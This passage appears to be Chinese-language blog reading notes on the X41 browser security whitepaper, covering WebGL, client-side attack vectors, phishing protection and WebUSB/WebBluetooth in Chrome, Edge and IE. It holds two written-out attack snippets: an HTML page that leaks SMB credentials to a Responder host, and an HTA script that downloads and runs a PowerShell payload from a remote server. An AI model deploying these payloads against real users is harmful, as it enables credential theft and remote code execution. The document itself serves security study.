      • 当前函数分支受限,函数调用会利用预定义函数索引表来检查是否合法。
      • 类型signature会被检查。
      • Chrome和Edge对WASM的攻击的保护措施都差不多
  • WebGL
    • 3D图形渲染,允许GPU渲染,js API复杂的图形操作。
    • 攻击面
      • 图形内核驱动对抗
      • 图形硬件对抗
      • 对抗其他上下文,通过信息系额偶或中间件攻击
    • ANGLE library of Chrome
    • WebGL transpiler of Edge
  • Mitigations, Sandboxing and Hardening
  • Web Notifications
  • Battery Status API

客户端攻击向量

常见的客户端攻击向量:SMB credentials leaks, HTML applications, phishing and browser extensions.

Edge和Chrome有反钓鱼引擎。

通用客户端攻击

  • 下载和危险文件类型

    • Edge和IE给了用户阻止一次下载的机会(不包括像pdf这种使用用户交互模式打开)。
    • Chrome自动下载文件,基于文件的扩展来判断是否安全,比如.txt文件。如果不修改settings,用户没有办法阻止这种下载。所有的文件扩展名列表可以在SafeBrowsing源码中看到。
    • Chrome自动下载这些具体文件类型,主要是试图简化UI交互。
    • 自动下载会触发反病毒服务的检查,如果反病毒服务有漏洞,就可以借助浏览器的下载来搞事情。
    • 访问恶意站点下载SCF file list->用户浏览->索引远端SMB server文件(攻击者的SMB)->credentials leak
    • Chrome通过在SafeBrowsing代码中拉黑scf文件类型来缓解。
    • 如果某种扩展类型文件出了问题,SafeBrowsing团队会很快观察到该类型文件下载量的激增,然后很快就会调整恶意文件类型的黑名单。
  • Credential Leakage via HTML Resources

    • 仅在Edge和IE有效,Chrome无效。

    • 在H5下载属性中的href使用SMB资源->自动去请求SMB服务器->泄露信令给攻击者。

    • 在img标签中使用file://来连接remote SMB,Edge和IE有效

    • 1
      2
      3
      4
      <!-- 10.0.61.72 runs Responder with the following options: responder -I eth0 -w -r f -v -->
      <body onmousemove="document.getElementById(6).click()">
      <a id=6 href="\\10.0.61.72\edgeleak" download>tryme</a>
      </body>
    • Microsoft说no plan to do address it,钓鱼战争中可以长期使用这种泄露方法

  • 危险的老旧技术

    • 早年浏览器扩展是重灾区(Java,Flash,RealPlayer)

    • IE缺少一个有效的Click-to-Play实现,通过signed Java Applets进行攻击仍然可行,Flash漏洞的触发无需交互。IE还支持BHO,ActiveX都可以滥用执行代码。

    • Edge不再支持ActiveX,但仍然支持HTML Applications(HTA)。Chrome全都不支持,也不支持NPAPI。这种完全放弃的做法才是安全的。

    • IE有个ActiveX过滤器,但默认未开启。ActiveX和HTA是发起客户端攻击的两个常客。HTA可以通过PowerShell payload反弹shell,比如下面的代码:

    • 1
      2
      3
      4
      5
      6
      <script>
      var c = "cmd.exe /c powershell.exe -w hidden -nop -ep bypass -c
      \"\"IEX ((new-objectnet.webclient).downloadstring('http://10.0.61.75:3000/ps/ps.png'));
      Invoke-ps\"\"";
      new ActiveXObject('WScript.Shell').Run(c);
      </script>
    • 用户打开或保存该HTA,允许其执行。

    • 一种缓解措施就是修改该文件扩展的默认执行程序,比如.hta给notepad.exe而不是mshta.exe。

    • IE是客户端攻击向量最好用的靶场。Edge比Chrome危险一些。

钓鱼

窃取信令、下发远端恶意载荷的一种流行技术。

相比较其他的内存污染bug、web-security议题啊,钓鱼一直以来都没什么好用的缓解措施。主要的缓解策略是AV的支持,通过数据库来鉴别链接/域名是否是钓鱼网站。

当然可以临时注册一个发起短短几天的钓鱼攻击,database还是跟不上的。

Chrome和Edge+IE的钓鱼保护机制是:SafeBrowsing和SmartScreen

Chrome表现的更出色。

浏览器扩展

外围设备访问

一些API提供了对外围设备的访问。USB和Bluetooth是最为常见的外围设备。只有Chrome支持WebUSB和WebBluetooth。

  • WebUSB
    • web上下文与USB设备的交互
    • Chrome app可以访问连接的USB设备,使用chrome.usb API,这需要“usb”允许。
    • Chrome apps即将被移除,所以只关心website上下文可用的WebUSB API。
    • 当前这个试验品技术(WebUSB API)需要被激活才能被website所用。
    • 内嵌iframe需要Feature Policy available才可以访问USB
    • 非同源website无法访问USB,每个website的访问权限需要显式的声明,浏览器关闭对应的许可也被清除
    • 给其他漏洞攻击做跳板
  • WebBluetooth
    • Bluetooth 4 wireless standard
    • 恶意蓝牙设备
文章目录
  1. 1. X41-浏览器安全白皮书读书笔记
    1. 1.1. 0x01 摘要
      1. 1.1.1. 结果
    2. 1.2. 0x02 方法论
    3. 1.3. 0x03 介绍
      1. 1.3.1. Chrome
      2. 1.3.2. Edge
      3. 1.3.3. IE
    4. 1.4. 0x04 攻击面
    5. 1.5. 0x05 安全组织形式
      1. 1.5.1. 老旧技术的兼容
      2. 1.5.2. 通过组策略进行企业管理
    6. 1.6. 0x07 沙盒
      1. 1.6.1. 沙盒技术
      2. 1.6.2. 沙盒测试方法论
      3. 1.6.3. Chrome沙盒
      4. 1.6.4. Edge沙盒
    7. 1.7. SOP
      1. 1.7.1. 三种浏览器进程隔离的实现
      2. 1.7.2. Process spawning and exploitation
    8. 1.8. Hardening and Exploit Mitigation
      1. 1.8.1. 测试方法论
      2. 1.8.2. Hardening Techniques
    9. 1.9. Web安全
      1. 1.9.1. SOP
      2. 1.9.2. Port Banning
      3. 1.9.3. CSP
      4. 1.9.4. H5特性支持 web新技术
    10. 1.10. 客户端攻击向量
      1. 1.10.1. 通用客户端攻击
      2. 1.10.2. 钓鱼
      3. 1.10.3. 浏览器扩展
    11. 1.11. 外围设备访问
,